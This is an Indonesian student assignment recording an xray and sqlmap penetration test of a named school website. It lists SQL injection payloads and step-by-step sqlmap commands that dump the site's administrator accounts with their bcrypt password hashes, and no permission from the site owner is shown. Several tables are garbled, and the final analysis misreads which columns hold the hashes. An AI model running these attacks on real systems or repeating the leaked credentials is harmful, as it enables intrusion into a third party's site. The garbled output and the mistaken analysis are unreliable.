

TUGAS 3
KEAMANAN JARINGAN
SEMESTER PENDEK 2023/2024
PENETRATION TESTING USING XRAY



Disusun Oleh:

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PROGRAM STUDI INFORMATIKA
FAKULTAS TEKNOLOGI INDUSTRI
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BANDUNG
2024

1. Penetration testing menggunakan tools xray
 - Lakukan xray test pada URL yang sudah ditentukan

Target website : <https://sabilalmuhtadin.sch.id/>

```
kali@kali:~/Downloads
File Actions Edit View Help
(kali@kali)~(~/Downloads)
$ ./xray webscan --basic-crawler https://sabilalmuhtadin.sch.id/ --html-output sabila_muhtadin.html

XRAY

Version: 1.9.10/549c064a/COMMUNITY

[INFO] 2024-07-20 19:33:30 [default:entry.go:226] Loading config file from config.yaml
[INFO] 2024-07-20 19:33:36 [basic-crawler:basic_crawler.go:138] allowed domains: [sabilalmuhtadin.sch.id *.sabilalmuhtadin.sch.id]
[INFO] 2024-07-20 19:33:36 [basic-crawler:basic_crawler.go:139] disallowed domains: [*google* *github* *.gov.cn *.edu.cn *chaitin* *.xray.cool]
[WARN] 2024-07-20 19:33:36 [default:webscan.go:287] disable these plugins as that's not an advanced version, [shiro fastjson struts thinkphp]

Enabled plugins: [cmd-injection path-traversal redirect brute-force crlf-injection jsonp upload xxe phantasm xstream baseline dirscaan sqldet ssrf xss]

[INFO] 2024-07-20 19:33:36 [phantasm:phantasm.go:185] 818 pocs have been loaded (debug level will show more details)
These plugins will be disabled as reverse server is not configured, check out the reference to fix this error.
Ref: https://docs.xray.cool/#/configuration/reverse
Plugins:
poc-go-apache-log4j2-rce
poc-go-weblogic-cve-2023-21839
poc-yaml-apache-druid-kafka-rce
poc-yaml-apache-spark-rce-cve-2022-33891
poc-yaml-dlink-cve-2019-16920-rce
poc-yaml-dotnetnuke-cve-2017-0929-ssrf
poc-yaml-drawio-cve-2022-1713-ssrf
poc-yaml-full-cve-2022-ssrf-in-spring-cloud-netflix
poc-yaml-ghostscript-cve-2018-19475-rce
poc-yaml-gitlab-cve-2021-22214-ssrf
poc-yaml-httpd-ssrf-cve-2021-40438
poc-yaml-jenkins-cve-2018-1000600
poc-yaml-jira-cve-2019-11581
poc-yaml-jira-ssrf-cve-2019-8451
poc-yaml-keycloak-cve-2020-10770-ssrf
poc-yaml-kibana-cve-2019-7609-rce
poc-yaml-landray-qa-datasource-rce
poc-yaml-lg-nlai-mas-cnvd-201607-467-rce
poc-yaml-mongo-express-cve-2019-10758
poc-yaml-oracle-ebs-cve-2018-3167-ssrf
poc-yaml-pandorafms-cve-2019-20224-rce
poc-yaml-php-isap-cve-2018-19510-rce
poc-yaml-ruanhong-qa-xxe
poc-yaml-saltstack-cve-2020-16846
poc-yaml-solr-cve-2017-12629-xxe
poc-yaml-spiderflow-save-remote-command-execute
poc-yaml-spring-cloud-gateway-cve-2022-22947-rce
poc-yaml-supervisord-cve-2017-11610
poc-yaml-wavlink-cve-2020-13117-rce
```

Hasil :

ID	URL	Plugin	Time
66	https://sabilalmuhtadin.sch.id/smp/news-detail.cfm	sqldet/error-based/default	2024-07-20 19:43:04
67	https://sabilalmuhtadin.sch.id/sma/news-detail.cfm	baseline/sensitive/server error	2024-07-20 19:43:10
68	https://sabilalmuhtadin.sch.id/smk/images/marker/	dirscaan/directory/default	2024-07-20 19:43:11
69	https://sabilalmuhtadin.sch.id/sma/news-detail.cfm	sqldet/error-based/default	2024-07-20 19:43:15

URL	ParamPosition	ParamKey	Payload	Request
https://sabilalmuhtadin.sch.id/sma/news-detail.cfm?ID=67	query	ID	extractvalue(1,concat(char(126),md5(1946638059)))	GET /sma/news-detail.cfm?ID=extractvalue%281%2Cconcat%28char%28126%29%2Cmd5%281946638059%29%29 HTTP/1.1 Host: sabilalmuhtadin.sch.id User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: */* Referer: https://sabilalmuhtadin.sch.id/sma/news.cfm Accept-Encoding: gzip

Copy

HTTP/1.1 500 Error Executing Database Query.
Content-Type: text/html; charset=UTF-8
Date: Sat, 20 Jul 2024 23:43:17 GMT

Terdapat page yang manajemen basis datanya rentan akan serangan, ditandai dengan plugin name berawalan sqldet

- Lakukan Sqlmap pada page website yang rentan untuk melihat database yang ada

```
(kali@kali):~/Downloads
$ sqlmap -u https://sabilalmuhtadin.sch.id/sma/news-detail.cfm?ID=671 --dbms

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:45:57 /2024-07-20/

[22:45:57] [INFO] resuming back-end DBMS 'mysql'
[22:45:58] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
--
Parameter: ID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ID=671 AND 6880=6880

Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: ID=671 AND EXTRACTVALUE(4961,CONCAT(0x5c,0x716a0b6a71,(SELECT (ELT(4961=4961,1))))),0x71786a6a71))

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: ID=671 AND (SELECT 3749 FROM (SELECT(SLEEP(5)))QVRR)

Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: ID=671 UNION ALL SELECT NULL,CONCAT(0x716a0b6a71,0x65495761535378437846794a66a0b45445879766251477964584b467a62626d6669556a3414168,0x71786a6a71),NULL,NULL,NULL,NULL,NULL-- --
```

Hasil:

```
[22:45:59] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.1
[22:45:59] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] ipari_sabilalmuhtadin

[22:45:59] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/sabilalmuhtadin.sch.id'

[*] ending @ 22:45:59 /2024-07-20/
```

Terdapat dua database pada website yaitu *information_schema* dan *ipari_sabilalmuhtadin*

- Lakukan Sqlmap pada database *ipari_sabilalmuhtadin* untuk melihat daftar tabel pada database nya

```
(kali@kali):~/Downloads
$ sqlmap -u https://sabilalmuhtadin.sch.id/sma/news-detail.cfm?ID=671 -D ipari_sabilalmuhtadin --tables

[22:47:55] [INFO] resuming back-end DBMS 'mysql'
[22:47:55] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
--
Parameter: ID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ID=671 AND 6880=6880

Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: ID=671 AND EXTRACTVALUE(4961,CONCAT(0x5c,0x716a0b6a71,(SELECT (ELT(4961=4961,1))))),0x71786a6a71))

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: ID=671 AND (SELECT 3749 FROM (SELECT(SLEEP(5)))QVRR)

Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: ID=671 UNION ALL SELECT NULL,CONCAT(0x716a0b6a71,0x65495761535378437846794a66a0b45445879766251477964584b467a62626d6669556a3414168,0x71786a6a71),NULL,NULL,NULL,NULL,NULL-- --

[22:47:57] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.1
[22:47:57] [INFO] fetching tables for database: 'ipari_sabilalmuhtadin'
Database: ipari_sabilalmuhtadin
[28 tables]
+-----+-----+
| sbl_advertising | 0x71786a6a71,0x65495761535378437846794a66a0b45445879766251477964584b467a62626d6669556a3414168,0x71786a6a71 |
| sbl_artikel | 0x71786a6a71,0x65495761535378437846794a66a0b45445879766251477964584b467a62626d6669556a3414168,0x71786a6a71 |
| sbl_artikel_kategori | 0x71786a6a71,0x65495761535378437846794a66a0b45445879766251477964584b467a62626d6669556a3414168,0x71786a6a71 |
| sbl_dokumentasi | 0x71786a6a71,0x65495761535378437846794a66a0b45445879766251477964584b467a62626d6669556a3414168,0x71786a6a71 |
| sbl_dokumentasi_kategori | 0x71786a6a71,0x65495761535378437846794a66a0b45445879766251477964584b467a62626d6669556a3414168,0x71786a6a71 |
| sbl_informasi | 0x71786a6a71,0x65495761535378437846794a66a0b45445879766251477964584b467a62626d6669556a3414168,0x71786a6a71 |
| sbl_informasi_addon | 0x71786a6a71,0x65495761535378437846794a66a0b45445879766251477964584b467a62626d6669556a3414168,0x71786a6a71 |
| sbl_informasi_kategori | 0x71786a6a71,0x65495761535378437846794a66a0b45445879766251477964584b467a62626d6669556a3414168,0x71786a6a71 |
| sbl_informasi_unit | 0x71786a6a71,0x65495761535378437846794a66a0b45445879766251477964584b467a62626d6669556a3414168,0x71786a6a71 |
```

Hasil : Daftar tabel pada database berhasil ditampilkan

```
[22:47:57] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL ≥ 5.1
[22:47:57] [INFO] fetching tables for database: 'ipari_sabilalmuhtadin'
Database: ipari_sabilalmuhtadin
[28 tables]
+-----+-----+
| sbl_advertising | https://sabilalmuhtadin.sch.id/plugin/re-subopertidologi |
| sbl_artikel      | https://sabilalmuhtadin.sch.id/plugin/re-subopertidologi |
| sbl_artikel_kategori | https://sabilalmuhtadin.sch.id/plugin/re-subopertidologi |
| sbl_dokumentasi  | https://sabilalmuhtadin.sch.id/plugin/re-subopertidologi |
| sbl_dokumentasi_kategori | https://sabilalmuhtadin.sch.id/plugin/re-subopertidologi |
| sbl_informasi    | https://sabilalmuhtadin.sch.id/plugin/re-subopertidologi |
| sbl_informasi_addon | https://sabilalmuhtadin.sch.id/plugin/re-subopertidologi |
| sbl_informasi_kategori | https://sabilalmuhtadin.sch.id/plugin/re-subopertidologi |
| sbl_informasi_unit | https://sabilalmuhtadin.sch.id/plugin/re-subopertidologi |
| sbl_kontak       | https://sabilalmuhtadin.sch.id/plugin/re-subopertidologi |
| sbl_link         | https://sabilalmuhtadin.sch.id/plugin/re-subopertidologi |
| sbl_personalia   | https://sabilalmuhtadin.sch.id/gallery/video-gallery-detail.cfm |
| sbl_personalia_status | https://sabilalmuhtadin.sch.id/gallery/video-gallery-detail.cfm |
| sbl_photo_gallery | https://sabilalmuhtadin.sch.id/gallery/video-gallery-detail.cfm |
| sbl_photo_gallery_photo | https://sabilalmuhtadin.sch.id/gallery/video-gallery-detail.cfm |
| sbl_photo_gallery_unit | https://sabilalmuhtadin.sch.id/gallery/video-gallery-detail.cfm |
| sbl_ppdb         | https://sabilalmuhtadin.sch.id/gallery/video-gallery-detail.cfm |
| sbl_profil       | https://sabilalmuhtadin.sch.id/gallery/video-gallery-detail.cfm |
| sbl_profil_video | https://sabilalmuhtadin.sch.id/gallery/video-gallery-detail.cfm |
| sbl_promo        | https://sabilalmuhtadin.sch.id/gallery/video-gallery-detail.cfm |
| sbl_promo_unit   | https://sabilalmuhtadin.sch.id/gallery/video-gallery-detail.cfm |
| sbl_sambutan     | ParamPost: query |
| sbl_slide        | https://sabilalmuhtadin.sch.id/gallery/video-gallery-detail.cfm |
| sbl_slide_advertising | https://sabilalmuhtadin.sch.id/gallery/video-gallery-detail.cfm |
| sbl_unit         | https://sabilalmuhtadin.sch.id/gallery/video-gallery-detail.cfm |
| sbl_user         | ID |
| sbl_userlevelpermissions | https://sabilalmuhtadin.sch.id/gallery/video-gallery-detail.cfm |
| sbl_userlevels   | https://sabilalmuhtadin.sch.id/gallery/video-gallery-detail.cfm |
+-----+-----+
```

- Sqlmap pada tabel user untuk mengetahui kolom pada tabel

```
kali@kali: ~/Downloads
File Actions Edit View Help
(kali@kali) ~/Downloads
$ sqlmap -u https://sabilalmuhtadin.sch.id/sma/news-detail.cfm?ID=671 -D ipari_sabilalmuhtadin -T sbl_user --columns

[+] starting @ 22:49:07 /2024-07-20/

[22:49:07] [INFO] resuming back-end DBMS 'mysql'
[22:49:07] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: ID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ID=671 AND 6800=6800

Type: error-based
Title: MySQL > 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: ID=671 AND EXTRACTVALUE(4961,CONCAT(0x5c,0x716a6b6a71,(SELECT (ELT(4961+4961,1))),0x71786a6a71))

Type: time-based blind
Title: MySQL > 5.6.12 AND time-based blind (query SLEEP)
Payload: ID=671 AND (SELECT 3749 FROM (SELECT(SLEEP(5)))QVRR)

Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: ID=671 UNION ALL SELECT NULL,CONCAT(0x716a6b6a71,0x65495761535370a370a679a466a46a6b454458797662514f7964584b467a62626d6669555643414168,0x71786a6a71),NULL,NULL,NULL,NULL,NULL --
```

Hasil: Daftar kolom pada tabel *sbl_user* berhasil ditampilkan

```
[22:49:09] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL ≥ 5.1
[22:49:09] [INFO] fetching columns for table 'sbl_user' in database 'ipari_sabilalmuhtadin'
Database: ipari_sabilalmuhtadin
Table: sbl_user
[7 columns]
+-----+-----+-----+
| Column | Type | extractvalue(1,concat(char(126),md5(1340830899))) |
+-----+-----+-----+
| Level | int(11) | GET /sma/news-detail.cfm?ID=extractvalue(201820,concat |
| Aktifasi | enum('N','Y') | Host: sabilalmuhtadin.sch.id |
| ID | int(11) | User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Ge |
| Keterangan | varchar(255) | Accept: */* |
| RealName | varchar(255) | Referer: https://sabilalmuhtadin.sch.id/sma/news.cfm |
| Sandi | varchar(255) | |
| Username | varchar(255) | |
+-----+-----+-----+
```

- Sqlmap untuk menampilkan isi dari tabel *sbl_user*

```

kali@kali: ~/Downloads
$ sqlmap -u https://sabilalmuhtadin.sch.id/sma/news-detail.cfm?ID=671 -D ipari_sabilalmuhtadin -T sbl_user --dump

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:51:19 /2024-07-20/

[22:51:19] [INFO] resuming back-end DBMS 'mysql'
[22:51:19] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: ID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ID=671 AND 6880=6880
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: ID=671 AND EXTRACTVALUE(4961,CONCAT(0x5c,0x716a0b6a71,(SELECT (ELT(4961=4961,1))))),0x71786a6a71))
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: ID=671 AND (SELECT SLEEP(5))QWRR
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: ID=671 UNION ALL SELECT NULL,CONCAT(0x716a0b6a71,0x65495761535378a378a6794a66a6b6545879766251f7964584b67a62626d6669556a3414168,0x71786a6a71),NULL,NULL,NULL,NULL,NULL --

[22:51:20] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.1
[22:51:20] [INFO] fetching columns for table 'sbl_user' in database 'ipari_sabilalmuhtadin'
[22:51:20] [INFO] fetching entries for table 'sbl_user' in database 'ipari_sabilalmuhtadin'

Database: ipari_sabilalmuhtadin
Table: sbl_user
[6 entries]
+----+-----+-----+-----+-----+-----+-----+
| ID | Sandi | Level | Aktifasi | RealName | Username | Keterangan |
+----+-----+-----+-----+-----+-----+-----+
| 1 | root | <blank> | Y | $2y$10$.vy7w9e2yLj1sGFW55w0h.Zn7AmI2LZN5dYMb0yPrptoHs/KKm1 | 1 | Administrator |
| 4 | adminpaud | <blank> | Y | $2y$10$590/vs/jltahInAPaY2J6e09C/hax0.TU2GincEDT/ew68nrK25z3 | 2 | Admin PAUD |
| 3 | adminsmk | <blank> | Y | $2y$10$PSYv7x/iZcoOMI2zh2qLjU/0x9gqkAVqV0xAKxvZ12oIAwB6sG | 2 | Admin SMK |
| 5 | adminsd | <blank> | Y | $2y$10$Sgdn1b/Ude3bTXtQqIwbuu899AtzaCz/7FxdqMXk8db6JJG0zFck | 2 | Admin SD |
| 6 | adminsm | <blank> | Y | $2y$10$C2ELJvh1qR/FxUjPgpcK2uvtqVmb0C7IErU8R2Vpcn5JzaTIKdV | 2 | Admin SMP |
| 7 | adminsma | <blank> | Y | $2y$10$IA6C5L7rH/x4L4FYB.Y03ekGBHMSneBfnqVdMdv6KN8VISnbSRG0 | 2 | Admin SMA |
+----+-----+-----+-----+-----+-----+-----+

```

Hasil : Isi atau informasi pada tabel *sbl_user* pada setiap kolomnya berhasil ditampilkan

```

[22:51:20] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.1
[22:51:20] [INFO] fetching columns for table 'sbl_user' in database 'ipari_sabilalmuhtadin'
[22:51:20] [INFO] fetching entries for table 'sbl_user' in database 'ipari_sabilalmuhtadin'
Database: ipari_sabilalmuhtadin
Table: sbl_user
[6 entries]
+----+-----+-----+-----+-----+-----+-----+
| ID | Sandi | Level | Aktifasi | RealName | Username | Keterangan |
+----+-----+-----+-----+-----+-----+-----+
| 1 | root | <blank> | Y | $2y$10$.vy7w9e2yLj1sGFW55w0h.Zn7AmI2LZN5dYMb0yPrptoHs/KKm1 | 1 | Administrator |
| 4 | adminpaud | <blank> | Y | $2y$10$590/vs/jltahInAPaY2J6e09C/hax0.TU2GincEDT/ew68nrK25z3 | 2 | Admin PAUD |
| 3 | adminsmk | <blank> | Y | $2y$10$PSYv7x/iZcoOMI2zh2qLjU/0x9gqkAVqV0xAKxvZ12oIAwB6sG | 2 | Admin SMK |
| 5 | adminsd | <blank> | Y | $2y$10$Sgdn1b/Ude3bTXtQqIwbuu899AtzaCz/7FxdqMXk8db6JJG0zFck | 2 | Admin SD |
| 6 | adminsm | <blank> | Y | $2y$10$C2ELJvh1qR/FxUjPgpcK2uvtqVmb0C7IErU8R2Vpcn5JzaTIKdV | 2 | Admin SMP |
| 7 | adminsma | <blank> | Y | $2y$10$IA6C5L7rH/x4L4FYB.Y03ekGBHMSneBfnqVdMdv6KN8VISnbSRG0 | 2 | Admin SMA |
+----+-----+-----+-----+-----+-----+-----+

```

2. Analisis

Kekurangan/Kerentanan

- Masih terdapat banyak kerentanan pada beberapa page website, yang paling banyak adalah kerentanan dengan kategori "dirscan/directory/default" yang teridentifikasi menunjukkan adanya risiko terkait akses direktori dan file default di server

ID	Target	PluginName	CreateTime
1	https://sabilalmuhtadin.sch.id/images/favicon/	dirscan/directory/default	2024-07-20 19:34:17
2	https://sabilalmuhtadin.sch.id/images/	dirscan/directory/default	2024-07-20 19:34:31
3	https://sabilalmuhtadin.sch.id/css/	dirscan/directory/default	2024-07-20 19:34:39
4	https://sabilalmuhtadin.sch.id/css/fonts/	dirscan/directory/default	2024-07-20 19:34:43
5	https://sabilalmuhtadin.sch.id/css/font/	dirscan/directory/default	2024-07-20 19:34:45
6	https://sabilalmuhtadin.sch.id/css/skin/	dirscan/directory/default	2024-07-20 19:34:49
7	https://sabilalmuhtadin.sch.id/plugins/cubeportfolio/css/	dirscan/directory/default	2024-07-20 19:34:52
8	https://sabilalmuhtadin.sch.id/images/logo/	dirscan/directory/default	2024-07-20 19:34:58
9	https://sabilalmuhtadin.sch.id/plugins/cubeportfolio/	dirscan/directory/default	2024-07-20 19:35:03
10	https://sabilalmuhtadin.sch.id/plugins/	dirscan/directory/default	2024-07-20 19:35:10
11	https://sabilalmuhtadin.sch.id/plugins/aos/	dirscan/directory/default	2024-07-20 19:35:14
12	https://sabilalmuhtadin.sch.id/images/marker/	dirscan/directory/default	2024-07-20 19:35:16
13	https://sabilalmuhtadin.sch.id/plugins/owl.carousel/	dirscan/directory/default	2024-07-20 19:35:18

- Masih terdapat kerentanan lain dengan kategori "baseline/sensitive/server-error" pada beberapa page yang dapat mengindikasikan beberapa hal:
 - a. Baseline: Kelemahan dasar yang mungkin umum ditemukan pada banyak website
 - b. Sensitive: Kelemahan yang dapat mengungkapkan informasi sensitif atau rahasia
 - c. Server-error: Kelemahan yang dapat menyebabkan kesalahan atau error pada server

ID	URL	Category	Time
53	https://sabilmuhtadin.sch.id/paul/gallery/	dirscan/directory/default	2024-07-20 19:42:37
54	https://sabilmuhtadin.sch.id/news-detail.cfm	baseline/sensitive/server-error	2024-07-20 19:42:38
55	https://sabilmuhtadin.sch.id/images/marker/	dirscan/directory/default	2024-07-20 19:42:39
56	https://sabilmuhtadin.sch.id/news-detail.cfm	sqldet/error-based/default	2024-07-20 19:42:42
57	https://sabilmuhtadin.sch.id/images/marker/	dirscan/directory/default	2024-07-20 19:42:43
58	https://sabilmuhtadin.sch.id/gallery/video-gallery-detail.cfm	baseline/sensitive/server-error	2024-07-20 19:42:53
59	https://sabilmuhtadin.sch.id/paul/news-detail.cfm	baseline/sensitive/server-error	2024-07-20 19:42:55
60	https://sabilmuhtadin.sch.id/gallery/video-gallery-detail.cfm	sqldet/blind-based/default	2024-07-20 19:42:56
61	https://sabilmuhtadin.sch.id/news-detail.cfm	sqldet/blind-based/default	2024-07-20 19:42:46
62	https://sabilmuhtadin.sch.id/amp/news-detail.cfm	baseline/sensitive/server-error	2024-07-20 19:42:57
63	https://sabilmuhtadin.sch.id/gallery/video-gallery-detail.cfm	sqldet/error-based/default	2024-07-20 19:42:58
64	https://sabilmuhtadin.sch.id/paul/news-detail.cfm	sqldet/error-based/default	2024-07-20 19:42:59
65	https://sabilmuhtadin.sch.id/gallery/	dirscan/directory/default	2024-07-20 19:43:00
66	https://sabilmuhtadin.sch.id/amp/news-detail.cfm	sqldet/error-based/default	2024-07-20 19:43:04

- Masih terdapat kerentanan pada website dengan kategori "sqldet/blind-based/default" pada beberapa page yang dapat mengindikasikan beberapa hal:
 - a. sqldet: Kelemahan terkait dengan SQL Injection
 - b. blind-based: Kelemahan SQL Injection yang menggunakan metode "blind-based", yaitu memanfaatkan perbedaan respon server untuk mengekstraksi informasi
 - c. default: Kelemahan yang mungkin terkait dengan penggunaan pengaturan atau konfigurasi default

ID	URL	Category	Time
70	https://sabilmuhtadin.sch.id/amp/gallery/video-gallery-detail.cfm	baseline/sensitive/server-error	2024-07-20 19:43:19
71	https://sabilmuhtadin.sch.id/paul/news-detail.cfm	sqldet/blind-based/default	2024-07-20 19:43:08
72	https://sabilmuhtadin.sch.id/amp/news-detail.cfm	sqldet/blind-based/default	2024-07-20 19:43:10
73	https://sabilmuhtadin.sch.id/amp/news-detail.cfm	baseline/sensitive/server-error	2024-07-20 19:43:24
74	https://sabilmuhtadin.sch.id/amp/gallery/video-gallery-detail.cfm	sqldet/error-based/default	2024-07-20 19:43:26
75	https://sabilmuhtadin.sch.id/amp/gallery/	dirscan/directory/default	2024-07-20 19:43:29
76	https://sabilmuhtadin.sch.id/amp/gallery/video-gallery-detail.cfm	sqldet/blind-based/default	2024-07-20 19:43:28
77	https://sabilmuhtadin.sch.id/amp/news-detail.cfm	sqldet/error-based/default	2024-07-20 19:43:30
78	https://sabilmuhtadin.sch.id/amp/news-detail.cfm	sqldet/blind-based/default	2024-07-20 19:43:34
79	https://sabilmuhtadin.sch.id/amp/news-detail.cfm	sqldet/blind-based/default	2024-07-20 19:43:36

Pencegahan yang telah dilakukan

- Telah diterapkan beberapa pencegahan pada sistem sebagai upaya untuk mengamankan informasi, salah satunya adalah dengan melakukan enkripsi teks atau proses mengubah informasi atau data menjadi bentuk yang tidak dapat dibaca atau diakses oleh orang lain. Contohnya pada tabel user yang saya sqlmap sebelumnya pada kolom RealName menampilkan teks yang tidak beraturan yang artinya data telah di enkripsi

```
[22:51:20] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.1
[22:51:20] [INFO] fetching columns for table 'sbl_user' in database 'ipari_sabilalmuhtadin'
[22:51:20] [INFO] fetching entries for table 'sbl_user' in database 'ipari_sabilalmuhtadin'
Database: ipari_sabilalmuhtadin
Table: sbl_user
[6 entries]
```

ID	Sandi	Level	Aktifasi	RealName	Username	Keterangan
1	root	<blank>	Y	\$2y\$10\$.vy7w9e2yLj1sGFW55w0h.Zn7AmI2LZN5dYM0yoyPrptoHs/Kkm11	1	Administrator
4	adminpaud	<blank>	Y	\$2y\$10\$5907vsjjltAHiNAPaYzJe09C/hax0.TU2G1ncEDT/em68nrK25z3.	2	Admin PAUD
3	adminsmk	<blank>	Y	\$2y\$10\$PSY7k/1Zco0MLI2h2qLju/OA9gqwkXVqY0aK4IXYZ12oIAwBe66G	2	Admin SMK
5	adminsds	<blank>	Y	\$2y\$10\$5gdmlb/Ude3bTAT6q1Wuu899AtzaCr//fxqfWXk-B0b6j3G0zFzK.	2	Admin SD
6	adminsm	<blank>	Y	\$2y\$10\$C2ELJvh1qR/FxUjPgpcK2uvtqaVmb0C7IErU8RZVPcnSjzaTIKdV.	2	Admin SMP
7	adminsma	<blank>	Y	\$2y\$10\$IA6Cs17rH/x4L4FYB.Y03ekGBHMSneBfnqVdMdyN6KN8YISnbSRG0	2	Admin SMA

Namun, masih terdapat keraguan karena ada data yang seharusnya di enkripsi yaitu kolom *Sandi* tapi sama sekali tidak di enkripsi